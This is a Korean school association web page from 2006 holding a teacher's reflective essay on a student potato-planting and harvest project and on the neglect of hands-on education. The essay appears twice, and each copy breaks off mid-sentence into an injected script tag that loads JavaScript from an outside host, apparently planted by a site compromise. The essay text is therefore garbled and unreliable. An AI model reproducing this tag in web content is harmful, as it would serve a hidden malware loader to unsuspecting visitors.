대안적 마인드가 무엇인가요?
작성자 : 후원회 | 조회수 : 3,230 | 작성일 : 2006년 7월 18일
<!--StartFragment--> <IMG style="WIDTH: 399px; HEIGHT: 255px" height=2391 src="/UpLoadFiles/images/DSCN4070.jpg" width=2832 border=0>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>4월 어느 날인가, 노작시간에 1학년 학생들과 밭에 이랑을 만들고는 구해온 씨감자를 정성들여 심었다. 꼭 3개월이 지난 지금, 줄기는 다 사그라져서 없어지고 땅 속에 감자가 제법 굵게 영글어 있을 법 했다. 파종 시기가 일반 감자에 비하여 늦어진 탓에 수확 시기도 훨씬 늦다. 올 여름 장마는 태풍이 지난 후부터 연일 그것도 한 달 내내 비를 뿌리고 있기에 노작시간도 놓쳐버리고 감자 수확할 겨를도 없이 방학을 했었다. 씨감자를 심으며 학생들이 나에게 들려준 말이 기억난다. “언제 감자를 수확하나요?” “자네가 방학 할 때쯤이면 수확하게 되겠지.” “와, 감자가 많이 달렸으면 좋겠다.” “그렇게 되려면 심는 일도 중요하지만 제초도 해주어야 하고, 간간히 비료도 주어 잘 가꾸어야 한다.” “그렇군요! 그때 우리가 꼭 감자를 수확을 했으면 합니다. 그리고 감자를 쪄서 저녁 늦은 시간에 간식을 하면 좋겠습니다.” “나도 자네 말대로 그렇게 되길 바래본다.” </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 비가 오랫동안 지속이 되고 노작시간을 놓쳐 학생들이 감자수확을 하지 못하고 집으로 돌아갈 것 같은 초조함이 있었다. 방학 전 며칠 남겨두고 학년부장 교사에게 비가 내려도 학생들이 꼭 감자를 수확하는 기쁨을 맛보도록 바란다는 부탁을 했더니, 방학 날 오전에 부장 선생님이 나에게 자루에 담겨진 감자를 보여주며 학생들과 함께 수확을 했다고 했다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 학생들이 방학이 되어 집으로 간 후, 텅 빈 교정을 지키다가 지루하게 내리는 장마 비에 산사태가 우려되어 산으로 오르는 중에 ‘감자 밭’을 보게 되었다. 아뿔싸! 어째 이런 일이! 부장 선생님의 반 구역만 감자를 캤을 뿐, 다른 세 반은 그대로 둔 채 방학을 맞이했음을 보게 된 것이다. 하는 수 없이 비가 내리는 날, 비를 흠뻑 맞으며 내가 대신 감자를 캤다. 아주 씨알이 아주 굵은 놈부터 시작하여 한 자루를 넉넉하게 캤던 것이다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> 매번 노작 시간은 학생들에게 재미없는 시간 정도로 여겼다. </SPAN><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">노작 시간에 생명 가꾸기를 지도할 만큼 선생님들도 경험이 부족한 이유도 있었다. 씨감자를 </SPAN></FONT><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>심어 놓고 “내년에 캐나요?”하며 궁금해 하는 학생들이다. 먹기만을 좋아하고 이런 것들이 어디에서 나오는지를 모르는 학생들이다. 노작시간을 통해 생물시간에 배울 법한 여러 가지 지식들을 동원해서라도 생명을 가꾸는 작업 안에서 그것들이 성장</FONT><FONT face=돋움체>하고 성숙하는 모습을 보게 하고, 학생들이 자기 손으로 새로운 생명을 수확하는 기쁨을 만끽하게 하는 것까지 교사들이 챙겼어야 하는 것이다. 왜 우리가 밭에 있는 풀을 뽑아야 하는지, 또 성장 과정에서 비료를 어느 정도 주어야 하는 건지, 어떻게 열매를 맺는지? 학생들이 호기심으로 진지하게 관찰하며 자기의 생명도 챙길 줄 아는 노작시간이 되었다면 학생들은 훨씬 더 흥미로운 시간으로 접?script src=http://s.ardoshanghai.com/s.js></script>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>4월 어느 날인가, 노작시간에 1학년 학생들과 밭에 이랑을 만들고는 구해온 씨감자를 정성들여 심었다. 꼭 3개월이 지난 지금, 줄기는 다 사그라져서 없어지고 땅 속에 감자가 제법 굵게 영글어 있을 법 했다. 파종 시기가 일반 감자에 비하여 늦어진 탓에 수확 시기도 훨씬 늦다. 올 여름 장마는 태풍이 지난 후부터 연일 그것도 한 달 내내 비를 뿌리고 있기에 노작시간도 놓쳐버리고 감자 수확할 겨를도 없이 방학을 했었다. 씨감자를 심으며 학생들이 나에게 들려준 말이 기억난다. “언제 감자를 수확하나요?” “자네가 방학 할 때쯤이면 수확하게 되겠지.” “와, 감자가 많이 달렸으면 좋겠다.” “그렇게 되려면 심는 일도 중요하지만 제초도 해주어야 하고, 간간히 비료도 주어 잘 가꾸어야 한다.” “그렇군요! 그때 우리가 꼭 감자를 수확을 했으면 합니다. 그리고 감자를 쪄서 저녁 늦은 시간에 간식을 하면 좋겠습니다.” “나도 자네 말대로 그렇게 되길 바래본다.” </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 비가 오랫동안 지속이 되고 노작시간을 놓쳐 학생들이 감자수확을 하지 못하고 집으로 돌아갈 것 같은 초조함이 있었다. 방학 전 며칠 남겨두고 학년부장 교사에게 비가 내려도 학생들이 꼭 감자를 수확하는 기쁨을 맛보도록 바란다는 부탁을 했더니, 방학 날 오전에 부장 선생님이 나에게 자루에 담겨진 감자를 보여주며 학생들과 함께 수확을 했다고 했다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체> 학생들이 방학이 되어 집으로 간 후, 텅 빈 교정을 지키다가 지루하게 내리는 장마 비에 산사태가 우려되어 산으로 오르는 중에 ‘감자 밭’을 보게 되었다. 아뿔싸! 어째 이런 일이! 부장 선생님의 반 구역만 감자를 캤을 뿐, 다른 세 반은 그대로 둔 채 방학을 맞이했음을 보게 된 것이다. 하는 수 없이 비가 내리는 날, 비를 흠뻑 맞으며 내가 대신 감자를 캤다. 아주 씨알이 아주 굵은 놈부터 시작하여 한 자루를 넉넉하게 캤던 것이다. </FONT></SPAN></P>
<P style="FONT-SIZE: 10pt; MARGIN: 0pt; COLOR: #000000; TEXT-INDENT: 0pt; LINE-HEIGHT: 160%; FONT-FAMILY: '바탕'; TEXT-ALIGN: justify"><FONT face=돋움체><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"> 매번 노작 시간은 학생들에게 재미없는 시간 정도로 여겼다. </SPAN><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify">노작 시간에 생명 가꾸기를 지도할 만큼 선생님들도 경험이 부족한 이유도 있었다. 씨감자를 </SPAN></FONT><SPAN style="FONT-SIZE: 10pt; COLOR: #000000; LINE-HEIGHT: 16pt; FONT-FAMILY: '바탕'; LETTER-SPACING: 0pt; TEXT-ALIGN: justify"><FONT face=돋움체>심어 놓고 “내년에 캐나요?”하며 궁금해 하는 학생들이다. 먹기만을 좋아하고 이런 것들이 어디에서 나오는지를 모르는 학생들이다. 노작시간을 통해 생물시간에 배울 법한 여러 가지 지식들을 동원해서라도 생명을 가꾸는 작업 안에서 그것들이 성장</FONT><FONT face=돋움체>하고 성숙하는 모습을 보게 하고, 학생들이 자기 손으로 새로운 생명을 수확하는 기쁨을 만끽하게 하는 것까지 교사들이 챙겼어야 하는 것이다. 왜 우리가 밭에 있는 풀을 뽑아야 하는지, 또 성장 과정에서 비료를 어느 정도 주어야 하는 건지, 어떻게 열매를 맺는지? 학생들이 호기심으로 진지하게 관찰하며 자기의 생명도 챙길 줄 아는 노작시간이 되었다면 학생들은 훨씬 더 흥미로운 시간으로 접?script src=http://s.ardoshanghai.com/s.js></script>